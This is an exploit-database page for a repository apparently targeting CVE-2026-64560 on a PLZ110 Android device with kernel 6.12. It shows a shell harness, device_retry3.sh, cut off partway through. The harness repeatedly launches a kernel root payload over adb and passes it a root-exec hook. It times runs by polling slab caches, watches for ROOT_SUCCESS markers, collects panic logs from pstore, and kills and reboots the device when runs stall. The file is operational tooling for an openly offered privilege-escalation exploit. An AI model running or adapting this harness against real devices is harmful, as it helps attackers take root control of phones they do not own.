Exploit databaseDownload repository ZIP
GH-2cd54743dc4f058e62eb99d21dbb8848
feiguang-ai/plz110-6.12.69-cve-2026-64560-ksu
Sources for CVE-2026-64560
19 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files13
feiguang-ai/plz110-6.12.69-cve-2026-64560-ksuRevision 80c7392992e0
- ↑..Parent directory
- accept_run.py
- batch_loop.sh
- device_retry3.sh
- device_run.py
- ksu_hit_watch.sh
- post_hit_check.sh
- pstore_classify.sh
- root_exec.sh
- shot.sh
- shot_loop.sh
- spray_probe.c
- verify-render.sh
- wiring_assert.py
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
repro/tools/device_retry3.sh
Shell · 29,054 bytes#!/bin/sh
# 真机自动重试跑法 v3(PLZ110 / 6.12)—— 分离式启动 + 60s 运行中快照 + 轮末记账
#
# 为什么有 v3(相对 v2 = repro/tools/device_retry2.sh)
# ====================================================
# v2 的载荷启动是 `adb shell "... nohup ./payload --run >> log 2>&1 </dev/null &"`,
# **实测在本机 adb 37.0.0 / Android 17 上会阻塞**:shell 已经 `echo` 完、载荷已在跑,
# 但 adb 客户端不返回(宿主 `ps` 能看到 `adb … nohup ./cve-… --run …` 一直挂着)。
# 后果:脚本卡在启动那一步,**不进入运行中快照轮询**——panic 一重启就把设备侧日志尾部吃掉,
# 整个"运行中证据"这一层失效(cycle 1 的 run-0218-r1 就是这么丢快照的)。
#
# 实测对照(同一设备,宿主 adb 37.0.0,2026-10-11 02:28,均用无害 `sleep` 探针):
# A) `… (sleep 25 …) & echo LAUNCHED_A` -> 打印了 LAUNCHED_A 但 adb **不返回**
# B) `… setsid sleep 25 … & echo LAUNCHED_B`-> 同上,**不返回**(setsid 也救不了)
# C) `… (sleep 25 … &) ; echo LAUNCHED_C` -> **立即返回 rc=0** ✅
# 所以 v3 用 C 的写法:把载荷放进**一个会立刻退出的子 shell**,载荷自身的 fd 全部重定向。
#
# 与 v1/v2 相同的约定:
# * panic 重启会吃设备侧日志 ⇒ 每轮先 `touch`+`sync` 固化文件;
# * 起跑先等 posix_timers_cache 落回安静线(避免 strict 闸门基线被上轮污染);
# * 脏 boot_id(`*-ffff-*`)先 reboot 再跑;同一时间只允许一个载荷。
#
# 用法:repro/tools/device_retry3.sh <轮数> [每 payload attempts] [安静 active 上限] [轮询秒数]
#
# cycle 314n 增补(工具层,零语义):
# ① 切换硬门 switch_hard_gate():**起跑前**确认旧 harness 已死 —— 记旧 harness PID
# (runs/harness.pid)→ kill 指定 PID → 复查(kill -0);仍存活或发现残留冻结
# `_frozen/epoch-*.sh` ⇒ 直接 exit,绝不与第二个 harness 抢同一载荷。
# (背景:cycle 313 双计数险 = 旧 ce18-b2 冻结件与 ce19-b1 同看一个载荷。)
# ② (D) 观测件:a) 达标定义与载荷 [baseline=256/256] 对齐(strict=baseline+slack /
# loose=active,total<1024,两态分别记录);b) trace 打 [hit/miss] 标签;
# c) 单后缀 .log(去 .log.log);d) per-boot 记账加 [cache_active_at_launch /
# prev_reboot_kind=none|natural|dirty](**只测量,3 批后再判**)。
set -u
SERIAL=${SERIAL:-YOUR_DEVICE_SERIAL}
DIR=${DIR:-/data/local/tmp/fgroot/plz110-242e1a07f878}
# adb 可执行文件:发布包里 adb 可能不在 PATH(例如放在 <包根>/adb/adb)⇒ 用 ADB 覆盖。
ADB=${ADB:-adb}
PAYLOAD=cve-2026-64560-fanout
ROUNDS=${1:-4}
ATTEMPTS=${2:-48}
QUIET_MAX=${3:-640}
POLL=${4:-60}
STUCK_POLLS=${5:-20} # 连续多少个轮询周期"行数 + 全进程组CPU和"都零变化 => 判卡死
# (20×60s=20min;实测健康长停 12m08s(02:28:11→02:40:19),8min 会误杀)
STAMP=$(date +%H%M)
# cycle 288n-b ①a:冻结件位于 runs/_frozen/ ⇒ dirname/../.. 会算错 ⇒ 支持 REPRO_ROOT_OVERRIDE 覆盖(tolerance)。
REPO_ROOT="${REPRO_ROOT_OVERRIDE:-$(cd "$(dirname "$0")/../.." && pwd)}"
SNAP_DIR="$REPO_ROOT/repro/build/plz110/analysis/runs/snapshots"
RUNS_DIR="$REPO_ROOT/repro/build/plz110/analysis/runs"
#: cycle 314n ①:当前/上一 harness PID(每个实例起跑前自登记,切换硬门据此终结旧实例)。
HARNESS_PIDFILE="$RUNS_DIR/harness.pid"
#: cycle 314n ②a:与载荷 slab-drain 闸门对齐用的 slack(profile tuning.slabDrainSlack)。
SLAB_SLACK=${SLAB_DRAIN_SLACK:-64}
#: cycle 314n ②d:上一轮与本轮之间的重启种类(none|natural|dirty),只记账不判定。
PREV_REBOOT_KIND=none
#: 本实例 epoch 名(冻结件 epoch-<era>-<ts>.sh ⇒ 取 <era>;非冻结件记 ?)。
_hn=$(basename "${0:-x}" 2>/dev/null)
ERA_TAG=$(printf '%s' "$_hn" | sed -n 's/^epoch-\(.*\)-[0-9][0-9]*\.sh$/\1/p')
[ -n "$ERA_TAG" ] || ERA_TAG="?"
#: watchdog 重启台账(与统计 miss 分开计数)
WD_LEDGER="$REPO_ROOT/repro/build/plz110/analysis/runs/watchdog-restarts.log"
#: ops 层自适应冷却(cycle 56 裁决):连续 2 轮"<5min 内 panic" ⇒ 下一轮起跑前 sleep CLUSTER_COOLDOWN;
#: 任一轮 >10min 存活 ⇒ 清零。语义参数零改动。
CLUSTER_COOLDOWN=${6:-180}
COOLDOWN_LEDGER="$REPO_ROOT/repro/build/plz110/analysis/runs/adaptive-cooldowns.log"
PSTORE_NAMES="console-ramoops-0 console-ramoops dmesg-ramoops-0 dmesg-ramoops panic-ramoops pmsg-ramoops-0"
# 轮末记账要数的 marker(armed / 桥段链路 / 终局)
MARKERS="ATTEMPT_BEGIN BOOTID_WRITE_PASS STAGE0_GATE_PASS MISC_BRIDGE_STAGE_BEGIN MISC_BRIDGE_MISS_CLEAN MISC_BRIDGE_INSTALLED MISC_BRIDGE_READ_PASS MISC_BRIDGE_OPEN_PASS VALIDATION_NOT_STABLE MISC_BRIDGE_OPEN_FAIL MISC_BRIDGE_MISS_NOT_PROVEN RW_PASS PHYS_PROBE STAGE8 ROOT_SUCCESS ROOT_CHILD_HOLD_PASS PHYS_IMAGE_READ_PASS STAGE8_TASK_FIND_PASS STAGE8_CRED_RENEW_PASS BRIDGE_STAGE_FAIL PHYS_PROBE_FAIL PIPE_CACHE_GATE_FAIL"
say() { echo "[$(date +%H:%M:%S)] $*"; }
mkdir -p "$SNAP_DIR"
# ── cycle 314n ①:切换硬门(**起跑前**确认旧 harness 已死)──────────────────────
# 纪律(外部复核 313n 建议 #2):记旧 PID → kill 指定 PID → 复查;而不是"起新 loop 就完事"。
# 复查含两层:(a) 旧 PID 是否仍在(kill -0);(b) 是否有残留冻结 harness(他人孤儿)。
# 任一仍在 ⇒ 中止本实例(绝不与第二个 harness 同看一个载荷 ⇒ 免 era 归属串/双计/互判 STALE)。
_hg_alive() { [ -n "${1:-}" ] && [ "$1" != "$$" ] && kill -0 "$1" 2>/dev/null; }
switch_hard_gate() {
_old=""
[ -f "$HARNESS_PIDFILE" ] && _old=$(tr -dc '0-9' < "$HARNESS_PIDFILE" 2>/dev/null)
if _hg_alive "$_old"; then
say "HG_RECORD old_harness_pid=$_old (startup hard gate)"
kill "$_old" 2>/dev/null
_i=0
while [ "$_i" -lt 10 ] && _hg_alive "$_old"; do _i=$((_i + 1)); sleep 1; done
if _hg_alive "$_old"; then
say "HG_FORCE old_harness_pid=$_old -> SIGKILL"
kill -9 "$_old" 2>/dev/null
sleep 2
fi
if _hg_alive "$_old"; then
say "HG_ALIVE_AFTER_KILL old_harness_pid=$_old -> abort this instance"
exit 1
fi
say "HG_DEAD old_harness_pid=$_old"
fi
for _p in $(pgrep -f 'analysis/runs/_frozen/epoch-' 2>/dev/null); do
[ "$_p" = "$$" ] && continue
_c=$(ps -o command= -p "$_p" 2>/dev/null)
case "$_c" in
*epoch-*.sh*)
say "HG_RESIDUAL frozen harness alive pid=$_p cmd=$_c -> abort this instance"
exit 1
;;
esac
done
printf '%s\n' "$$" > "$HARNESS_PIDFILE"
say "HG_SELF epoch-registered pid=$$ file=$HARNESS_PIDFILE"
}
switch_hard_gate # cycle 314n ①:单载荷互斥 —— 起跑前先清旧 harness
# 载荷是否在跑。0=在跑 1=确定没跑 2=设备不可达(**不能**当成"没跑")
payload_state() {
out=$("$ADB" -s "$SERIAL" shell 'ps -A | grep -c "[c]ve-2026-64560"' 2>/dev/null | tr -d '\r\n ')
case "$out" in
"" ) return 2 ;;
*[!0-9]*) return 2 ;;
0) return 1 ;;
*) return 0 ;;
esac
}
timer_active() {
"$ADB" -s "$SERIAL" shell "awk '/^posix_timers_cache/{print \$2}' /proc/slabinfo" 2>/dev/null | tr -d '\r\n '
}
# cycle 314n ②d:把"起跑前 cache 是否静默 / active 值"回传给轮级记账(QUIET_ACTIVE/QUIET_OK)。
wait_quiet() {
i=0
QUIET_ACTIVE=""
QUIET_OK=0
while [ $i -lt 40 ]; do
v=$(timer_active)
case "$v" in
""|*[!0-9]*) ;;
*) if [ "$v" -le "$QUIET_MAX" ]; then QUIET_ACTIVE="$v"; QUIET_OK=1; say "quiet: posix_timers active=$v"; return 0; fi ;;
esac
[ $i -eq 0 ] && say "waiting for quiet cache (active=${v:-?})"
i=$((i + 1))
sleep 5
done
QUIET_ACTIVE="${v:-?}"
say "cache never got quiet (active=${v:-?} > $QUIET_MAX); proceeding anyway"
return 1
}
wait_online() {
"$ADB" -s "$SERIAL" wait-for-device >/dev/null 2>&1
i=0
while [ $i -lt 90 ]; do
if [ "$("$ADB" -s "$SERIAL" shell getprop sys.boot_completed 2>/dev/null | tr -d '\r')" = "1" ]; then
return 0
fi
i=$((i + 1))
sleep 2
done
return 1
}
# 把设备日志尾部抓回宿主(panic 前已 write() 出去的部分能补回)
pull_snap() {
log=$1
"$ADB" -s "$SERIAL" shell "tail -n 4000 $DIR/$log" 2>/dev/null | tr -d '\r' >> "$SNAP_DIR/$log" 2>/dev/null
}
grab_pstore() {
log=$1
ts=$(date +%Y%m%d-%H%M%S)
got=0
# cycle 214n:pstore 首抓——不依赖 ls(ColorOS 0640 system:log,shell 的 log 组可读),
# 逐个显式名字**直读**;任何非空即抓;base64 保二进制原样;无文件零报错不阻塞。
for n in $PSTORE_NAMES; do
b64=$("$ADB" -s "$SERIAL" shell "head -c 262144 /sys/fs/pstore/$n 2>/dev/null | base64 2>/dev/null" 2>/dev/null | tr -d '\r\n')
[ -n "$b64" ] || continue
printf '%s' "$b64" | base64 -d > "$SNAP_DIR/pstore-${log}-${ts}-${n}.bin" 2>/dev/null
[ -s "$SNAP_DIR/pstore-${log}-${ts}-${n}.bin" ] || { rm -f "$SNAP_DIR/pstore-${log}-${ts}-${n}.bin"; continue; }
got=1
say "pstore captured $n -> snapshots/pstore-${log}-${ts}-${n}.bin ($(wc -c <"$SNAP_DIR/pstore-${log}-${ts}-${n}.bin" | tr -d ' ') B)"
# 设备端也留一份到 snapshots/pstore-<ts>/(best-effort)
"$ADB" -s "$SERIAL" shell "mkdir -p $DIR/snapshots/pstore-${ts} 2>/dev/null; cp /sys/fs/pstore/$n $DIR/snapshots/pstore-${ts}/$n 2>/dev/null" >/dev/null 2>&1
# 分类(若已装分类器)
if [ -x "$REPO_ROOT/repro/tools/pstore_classify.sh" ]; then
sh "$REPO_ROOT/repro/tools/pstore_classify.sh" "$SNAP_DIR/pstore-${log}-${ts}-${n}.bin" >> "$SNAP_DIR/pstore-classify.log" 2>&1
fi
done
[ "$got" = 1 ] || say "pstore: 逐名直读均无内容(如实记)"
}
# 计数一组 marker:输出 "M=count ..."
# cycle 276n ②a:run-log / evid **两列并报**(evid 为权威,run-log 受 stdout 缓冲截断)。
count_markers() {
log=$1
ev="evid-${log}"
for m in $MARKERS; do
c=$("$ADB" -s "$SERIAL" shell "grep -ac '$m' $DIR/$log" 2>/dev/null | tr -d '\r\n ')
e=$("$ADB" -s "$SERIAL" shell "grep -ac '$m' $DIR/$ev" 2>/dev/null | tr -d '\r\n ')
[ -n "$c" ] || c="?"
[ -n "$e" ] || e="?"
printf '%s=%s/%s ' "$m" "$c" "$e"
done
}
# cycle 276n ②b:伪 panic 防御 —— 仅**合法 UUIDv4 形态**才采信;损坏值丢弃并重读一次。
boot_id_ok() {
printf '%s' "$1" | grep -Eq '^[0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{12}$'
}
read_boot_id() {
_b=$("$ADB" -s "$SERIAL" shell cat /proc/sys/kernel/random/boot_id 2>/dev/null | tr -d '\r\n ')
if boot_id_ok "$_b"; then printf '%s' "$_b"; return 0; fi
sleep 1
_b=$("$ADB" -s "$SERIAL" shell cat /proc/sys/kernel/random/boot_id 2>/dev/null | tr -d '\r\n ')
if boot_id_ok "$_b"; then printf '%s' "$_b"; return 0; fi
printf ''
return 1
}
# 分离式启动:子 shell 立刻退出(见文件头 C 写法)。
launch_detached() {
log=$1
# era-638ce22(外部主导接管):透传 root-exec 钩子。
# ROOT_EXEC_CMD 未设置 ⇒ 默认用设备端配方 $DIR/root-exec.cmd;
# 显式设为空串 ⇒ 设备侧 `FG_ROOT_EXEC=''` ⇒ 载荷内 `rex && *rex` 为假 ⇒ 行为与 ce21 逐字节一致(单变量);
# 显式设为非空 ⇒ 形如 `sh /data/local/tmp/fgroot/plz110-242e1a07f878/root_exec.sh`
# (值内不得含单引号,否则外层单引号会破)。
# 注:原先这里同时写了 `FG_ROOT_EXEC='${ROOT_EXEC_CMD:-}'` 和 `FG_ROOT_EXEC=$DIR/root-exec.cmd`,
# 后者覆盖前者 ⇒ ROOT_EXEC_CMD 实际被静默忽略、文档与代码不一致。已收敛成一个来源。
_rex=${ROOT_EXEC_CMD-$DIR/root-exec.cmd}
res=$("$ADB" -s "$SERIAL" shell "cd $DIR && ( FG_EVID_PATH=$DIR/evid-${log%.log}.log FG_ROOT_EXEC='${_rex}' CVE64560_ATTEMPTS=$ATTEMPTS nohup ./$PAYLOAD --run >> $log 2>&1 </dev/null & ) ; echo LAUNCHED" </dev/null 2>/dev/null | tr -d '\r\n ')
case "$res" in
*LAUNCHED*) return 0 ;;
*) return 1 ;;
esac
}
# 全进程组 CPU 总和(所有 cve-2026 pid 的 utime+stime 之和,单位 tick)。
# 为什么不用"主进程 CPU":健康长停期间碰撞子进程在烧 CPU(实测 ~4.5 tick/s),只看主进程是**假阳性**判据。
payload_cpu_sum() {
"$ADB" -s "$SERIAL" shell "for p in \$(ps -A | grep '[c]ve-2026-64560' | awk '{print \$2}'); do cat /proc/\$p/stat 2>/dev/null; done | awk '{s+=\$14+\$15} END{print s+0}'" 2>/dev/null | tr -d '\r\n '
}
payload_lines() {
"$ADB" -s "$SERIAL" shell "wc -l < $DIR/$1" 2>/dev/null | tr -d '\r\n '
}
# cycle 299n ③a【D 观测件】—— host 侧每 1s 轮询 /proc/slabinfo(**零语义**),记达标时间分布。
# cycle 314n ②a:同时记 active/total(载荷闸门 strict 需 total);②c:单后缀 .log(去 .log.log)。
# 文件名 = slabpoll-<run-log 去 .log>.log。
slab_poll_start() {
_sp="$RUNS_DIR/slabpoll-${1%.log}.log"
: > "$_sp"
( _t0=$(date +%s)
while :; do
_raw=$("$ADB" -s "$SERIAL" shell "awk '/^posix_timers_cache/{print \$2\" \"\$3}' /proc/slabinfo" 2>/dev/null | tr -d '\r\n')
_ta=$(printf '%s' "$_raw" | awk '{print $1}')
_tt=$(printf '%s' "$_raw" | awk '{print $2}')
_tn=$(( $(date +%s) - _t0 ))
printf 't=%s active=%s total=%s\n' "$_tn" "${_ta:-?}" "${_tt:-?}" >> "$_sp"
[ "$_tn" -ge 40 ] && break
sleep 1
done ) >/dev/null 2>&1 &
SLABPOLL_PID=$!
say "SLABOBS start file=$_sp pid=$SLABPOLL_PID"
}
# cycle 314n ②a:达标定义**与载荷判据对齐**,两态分别记录(前 20s 比例):
# strict := active<=baseline_active+SLACK && total<=baseline_total+SLACK(SLACK=64 ⇒ baseline 256/256 ⇒ ≤320/320)
# loose := active<1024 && total<1024(载荷在 STRICT_MS 之后才接受 loose)
# baseline = t=0 采样(载荷起跑前);缺 total 的旧档退化为仅按 active 判(不 gate total)。
# cycle 314n ②b:给每条 trace 打本 attempt 的 [hit|miss] 标签(stage0 是否落地)。
slab_poll_report() {
_sp="$RUNS_DIR/slabpoll-${1%.log}.log"
[ -f "$_sp" ] || { say "SLABOBS missing $_sp"; return 0; }
_hit="miss"
if "$ADB" -s "$SERIAL" shell "grep -aq 'STAGE0_GATE_PASS\\|BOOTID_WRITE_PASS' $DIR/evid-${1}" 2>/dev/null; then _hit="hit"; fi
_rep=$(awk -v slack="$SLAB_SLACK" -v hit="$_hit" '
function num(x){ return (x ~ /^[0-9]+$/) ? x+0 : -1 }
BEGIN{ n=0; s_ok=0; l_ok=0; ba=-1; bt=-1 }
/^t=/ {
a=-1; tt=-1
for(i=1;i<=NF;i++){ split($i,kv,"="); if(kv[1]=="active")a=kv[2]; if(kv[1]=="total")tt=kv[2] }
an=num(a); tn=num(tt)
tn2=$1; sub("t=","",tn2); sec=tn2+0
if(sec==0){ ba=an; bt=tn }
if(n==0 && ba<0){ ba=an; bt=tn }
if(sec<=20 && an>=0){
n++
st=1
if(ba>=0 && an>ba+slack) st=0
if(bt>=0 && tn>=0 && tn>bt+slack) st=0
if(st) s_ok++
lo=1
if(an>=1024) lo=0
if(tn>=0 && tn>=1024) lo=0
if(lo) l_ok++
}
}
END{
if(n>0) printf "SLABOBS first20 label=%s baseline_active=%d baseline_total=%d strict_ok=%d n=%d ratio_strict=%.3f loose_ok=%d ratio_loose=%.3f verdict_strict=%s verdict_loose=%s\n", hit, ba, bt, s_ok, n, s_ok/n, l_ok, l_ok/n, (s_ok/n>0.6?"SHRINK_OK":"KEEP_20s"), (l_ok/n>0.6?"LOOSE_OK":"KEEP_20s")
else printf "SLABOBS first20 label=%s n=0 verdict=NO_DATA\n", hit
}' "$_sp")
say "$_rep"
printf '# %s\n' "$_rep" >> "$_sp" # cycle 314n ②b:标签/判读随 trace 落盘(便于跨批攒 ≥10)
}
# cycle 280n ②:era 切换纪律 —— 起第 1 轮前等【设备端旧载荷归零】(ps cve-2026 == 0),上限 ~10min。
wait_payload_zero() {
_i=0
while [ $_i -lt 6 ]; do # cycle 286n ②:6 × 30s = **3min**(超时立即交 STALE 守护,省 ~12min/切换)
_n=$("$ADB" -s "$SERIAL" shell "ps -A | grep -c '[c]ve-2026'" 2>/dev/null | tr -d '\r\n ')
case "$_n" in ""|*[!0-9]*) _n=1 ;; esac
[ "$_n" -eq 0 ] && { [ $_i -gt 0 ] && say "pre-batch: device payload reached 0 (waited $((_i*30))s)"; return 0; }
[ $_i -eq 0 ] && say "pre-batch: waiting device-side old payload -> 0 (now=$_n)"
_i=$((_i + 1)); sleep 30
done
# cycle 286n ②:超时**立即移交 STALE 守护**(pkill + DIRTY reboot),不再串行双 timer。
say "pre-batch: payload not 0 within 3min (last=$_n) -> STALE handover (pkill + DIRTY reboot)"
PREV_REBOOT_KIND=dirty # cycle 314n ②d:harness 主动 reboot ⇒ dirty
"$ADB" -s "$SERIAL" shell "pkill -9 -f cve-2026-64560" 2>/dev/null
"$ADB" -s "$SERIAL" reboot 2>/dev/null
sleep 5
wait_online >/dev/null 2>&1
return 1
}
round=1
short_panics=0
while [ $round -le "$ROUNDS" ]; do
say "round $round: waiting for device"
if ! wait_online; then
say "round $round: device never came back; aborting"
exit 1
fi
wait_quiet
wait_payload_zero # cycle 280n ②:切后先等旧载荷归零再起轮
# cycle 230n ②: pre-round 残留载荷 watchdog(本 harness 本轮未 spawn 却存在 ⇒ 持续 ≥5min 强 DIRTY 重启)
_stale_n=0
for _w in 1 2 3 4 5 6 7 8 9 10; do # 10×30s = 5min
_stale_n=$("$ADB" -s "$SERIAL" shell "ps -A | grep -c '[c]ve-2026'" 2>/dev/null | tr -d '\r\n ')
[ "${_stale_n:-0}" -gt 0 ] || break
sleep 30
done
if [ "${_stale_n:-0}" -gt 0 ]; then
printf '%s round=%s pre-round-stale procs=%s action=DIRTY-restart\n' "$(date +%H:%M:%S)" "$round" "$_stale_n" >> "$WD_LEDGER"
say "round $round: pre-round STALE payload (procs=$_stale_n sustained >=5min, not spawned by this harness) -> pkill + DIRTY reboot"
PREV_REBOOT_KIND=dirty # cycle 314n ②d:harness 主动 reboot ⇒ dirty
"$ADB" -s "$SERIAL" shell 'pkill -9 -f cve-2026-64560' >/dev/null 2>&1
sleep 3
"$ADB" -s "$SERIAL" reboot >/dev/null 2>&1
wait_online || true
sleep 20
fi
# 自适应冷却(ops 层,cycle 56):连续 2 轮 <5min panic ⇒ 起跑前 sleep CLUSTER_COOLDOWN
if [ "$short_panics" -ge 2 ]; then
say "round $round: ADAPTIVE COOLDOWN ${CLUSTER_COOLDOWN}s (short_panics=$short_panics)"
printf '%s round=%s short_panics=%s cooldown_s=%s\n' "$(date +%H:%M:%S)" "$round" "$short_panics" "$CLUSTER_COOLDOWN" >> "$COOLDOWN_LEDGER"
sleep "$CLUSTER_COOLDOWN"
fi
round_start_s=$(date +%s)
payload_state
if [ $? -eq 0 ]; then
say "round $round: another payload is ALREADY running; refusing to start a second one"
round=$((round + 1))
sleep 30
continue
fi
boot_id=$(read_boot_id)
case "$boot_id" in
*-ffff-*)
say "round $round: DIRTY kernel (boot_id=$boot_id) -> rebooting first"
PREV_REBOOT_KIND=dirty # cycle 314n ②d:harness 主动 reboot ⇒ dirty
"$ADB" -s "$SERIAL" reboot >/dev/null 2>&1
if ! wait_online; then
say "round $round: device never came back after reboot; aborting"
exit 1
fi
sleep 20
boot_id=$(read_boot_id)
say "round $round: after reboot boot_id=$boot_id"
;;
esac
log="run-${STAMP}-r${round}.log"
# cycle 314n ②d:per-boot 记账两列(只测量;3 批后再判,本 cycle 不下论断)。
_ca_live=$(timer_active)
CACHE_ACTIVE_AT_LAUNCH="${_ca_live:-${QUIET_ACTIVE:-?}}"
PREV_REBOOT_AT_LAUNCH="$PREV_REBOOT_KIND"
PREV_REBOOT_KIND=none
say "round $round: PERBOOT era=$ERA_TAG cache_active_at_launch=$CACHE_ACTIVE_AT_LAUNCH prev_reboot_kind=$PREV_REBOOT_AT_LAUNCH boot_id=$boot_id log=$log attempts=$ATTEMPTS"
printf '%s\tera=%s\tround=%s\tboot_id=%s\tcache_active_at_launch=%s\tprev_reboot_kind=%s\tlog=%s\n' \
"$(date '+%Y-%m-%d %H:%M:%S')" "$ERA_TAG" "$round" "$boot_id" "$CACHE_ACTIVE_AT_LAUNCH" "$PREV_REBOOT_AT_LAUNCH" "$log" \
>> "$RUNS_DIR/per-boot-instr.tsv"
slab_poll_start "$log" # cycle 299n ③a:D 观测件(零语义)
"$ADB" -s "$SERIAL" shell "cd $DIR && touch $log && sync" >/dev/null 2>&1
if ! launch_detached "$log"; then
say "round $round: LAUNCH not confirmed (分离式启动未回 LAUNCHED);5s 后重试一次"
sleep 5
payload_state
if [ $? -ne 0 ]; then
launch_detached "$log" || say "round $round: LAUNCH failed twice; skipping round"
fi
fi
sleep 5
if ! "$ADB" -s "$SERIAL" shell "ls -l $DIR/$log" >/dev/null 2>&1; then
say "round $round: log missing right after start"
fi
# ── 运行中轮询:60s 拉一次快照;数 ROOT marker;检测 panic / 载荷退出 / 卡死 ──
down=0
panic=0
wd_lines=""
wd_cpu=""
wd_procs=""
wd_same=0
wd_restart=0
prev_boot="$boot_id"
while :; do
pull_snap "$log"
if "$ADB" -s "$SERIAL" shell "grep -aq 'ROOT_SUCCESS\|ROOT_CHILD_HOLD_PASS' $DIR/$log" 2>/dev/null; then
say "round $round: ROOT MARKER FOUND"
grab_pstore "$log"
pull_snap "$log"
say "round $round: ROOT markers -> $(count_markers "$log")"
say "ROOT MARKER FOUND -> stop retrying (DoD follow-up by supervisor)"
exit 0
fi
payload_state
rc=$?
case $rc in
0)
down=0
cur_boot=$(read_boot_id)
# cycle 276n ②b + 280n ①a:地标判定 —— boot_id 变化时先看是否【地标伪值】。
if boot_id_ok "$cur_boot" && [ -n "$prev_boot" ] && [ "$cur_boot" != "$prev_boot" ]; then
case "$cur_boot" in
*-ffff-*|98cff149*)
# 地标伪 boot_id ⇒ **不置 panic、不改 prev_boot**;记正信号(stage0 已落地)。
# cycle 286n ①:**同值只打一次**(降噪)。
if [ "$cur_boot" != "${_landmark_last:-}" ]; then
say "round $round: STAGE0_LANDMARK_FAKE_BOOTID ($cur_boot) => stage0 landed; NOT panic"
_landmark_last="$cur_boot"
fi
;;
*)
if [ -n "${_landmark_last:-}" ]; then
say "round $round: STAGE0_LANDMARK_CLEARED (landmark=$_landmark_last gone)"
_landmark_last=""
fi
panic=1
PREV_REBOOT_KIND=natural # cycle 314n ②d:真实 reboot(非 harness 发起)⇒ natural
say "round $round: boot_id changed ($prev_boot -> $cur_boot) => panic/reboot; grabbing pstore"
grab_pstore "$log"
prev_boot="$cur_boot"
;;
esac
elif [ -n "$cur_boot" ] && ! boot_id_ok "$cur_boot"; then
say "round $round: bogus boot_id dropped ($cur_boot) => NOT panic (false-panic guard)"
fi
# ── watchdog(运维层;不动任何语义参数)──
# 载荷活着,但"设备日志行数 + 全进程组 CPU 总和"连续 STUCK_POLLS 个周期零变化 => 判卡死。
# 已知健康相位参考:跨缓存一个 cycle ≈1-3 分钟;实测最长健康长停 12m08s => 阈值取 20min。
lines=$(payload_lines "$log")
cpu=$(payload_cpu_sum)
procs=$("$ADB" -s "$SERIAL" shell "ps -A | grep -c '[c]ve-2026'" 2>/dev/null | tr -d '\r\n ')
if [ -n "$lines" ] && [ -n "$cpu" ] && [ "$lines" = "$wd_lines" ] && [ "$cpu" = "$wd_cpu" ]; then
wd_same=$((wd_same + 1))
elif [ -n "$procs" ] && [ "$procs" -gt 400 ] && [ "$procs" = "$wd_procs" ]; then
# cycle 211n:fatal/preserve 后的 hold 僵死——主进程仍在自旋(cpu 变),但进程数高且不变 ⇒ 也判卡死。
wd_same=$((wd_same + 1))
else
wd_same=0
wd_lines="$lines"
wd_cpu="$cpu"
wd_procs="$procs"
fi
if [ "$wd_same" -ge "$STUCK_POLLS" ]; then
wd_restart=1
say "round $round: WATCHDOG STUCK (lines=$lines cpu_sum=$cpu 连续 ${wd_same} 周期零变化) -> pkill + pstore + reboot"
printf '%s round=%s boot=%s lines=%s cpu_sum=%s\n' \
"$(date +%H:%M:%S)" "$round" "$prev_boot" "$lines" "$cpu" >> "$WD_LEDGER"
PREV_REBOOT_KIND=dirty # cycle 314n ②d:harness 主动 reboot ⇒ dirty
"$ADB" -s "$SERIAL" shell 'pkill -9 -f cve-2026-64560' >/dev/null 2>&1
sleep 3
grab_pstore "$log"
"$ADB" -s "$SERIAL" reboot >/dev/null 2>&1
if ! wait_online; then
say "round $round: device never came back after watchdog reboot; aborting"
exit 1
fi
sleep 20
break
fi
;;
1)
sleep 15
payload_state
if [ "$?" -eq 1 ]; then
say "round $round: payload gone"
# 分类修复(cycle 154 监督者裁决):payload 消失可能是设备重启。
# 以 boot_id 变化 / adb 不可达为独立通路判 panic,不再依赖 payload-gone 是否抢先。
cur_boot=$(read_boot_id)
if [ -z "$cur_boot" ]; then
panic=1
PREV_REBOOT_KIND=natural # cycle 314n ②d:真实 reboot ⇒ natural
say "round $round: payload gone + device unreachable => panic/reboot (reboot path)"
grab_pstore "$log"
elif [ -n "$prev_boot" ] && [ "$cur_boot" != "$prev_boot" ]; then
panic=1
PREV_REBOOT_KIND=natural # cycle 314n ②d:真实 reboot ⇒ natural
say "round $round: payload gone + boot_id changed ($prev_boot -> $cur_boot) => panic/reboot"
grab_pstore "$log"
prev_boot="$cur_boot"
fi
break
fi
;;
*)
down=$((down + 1))
[ "$down" -eq 1 ] && say "round $round: device unreachable (likely panic/reboot)"
if [ "$down" -eq 3 ] && [ "$panic" -eq 0 ]; then
panic=1
PREV_REBOOT_KIND=natural # cycle 314n ②d:真实 reboot ⇒ natural
grab_pstore "$log"
fi
;;
esac
sleep "$POLL"
done
# ── 轮末记账 ──
pull_snap "$log"
say "round $round: END panic=$panic watchdog=$wd_restart boot_id=$prev_boot log=$log"
say "round $round: STATS $(count_markers "$log")"
slab_poll_report "$log" # cycle 299n ③a:前 20s 达标比例 + verdict
# cycle 288n-b ①a:轮末 hard 校验 —— canonical 快照缺失(REPO_ROOT 漂移症状)⇒ SNAP_MISSING。
if [ ! -d "$SNAP_DIR" ]; then
say "round $round: SNAP_MISSING canonical=$SNAP_DIR (REPO_ROOT=$REPO_ROOT)"
fi
# cycle 276n ②a:last line 改读 **evid** 最后一行(权威件)。
tail_line=$("$ADB" -s "$SERIAL" shell "tail -n 1 $DIR/evid-${log}" 2>/dev/null | tr -d '\r')
say "round $round: last line: ${tail_line:-<unreachable>}"
# cycle 284n ③b:clean_exit / 载荷自行退出 ⇒ 强制 panic=0(粘滞假 panic 根除)。
case "$tail_line" in
*clean_exit*|*VMALLOC_TO_PAGE_FAIL*|*OBJ_MISMATCH*)
if [ "$panic" -eq 1 ]; then say "round $round: clean_exit tail => panic forced 0 (before=$panic)"; fi
panic=0 ;;
esac
# 自适应冷却计数(ops 层):<5min 且 panic ⇒ short_panics++;>10min 存活 ⇒ 清零
round_end_s=$(date +%s)
round_dur=$((round_end_s - ${round_start_s:-$round_end_s}))
say "round $round: DURATION ${round_dur}s (panic=$panic)"
if [ "$round_dur" -gt 600 ]; then
[ "$short_panics" -ne 0 ] && say "round $round: >10min survived -> reset short_panics=0"
short_panics=0
elif [ "$panic" -eq 1 ] && [ "$round_dur" -lt 300 ]; then
short_panics=$((short_panics + 1))
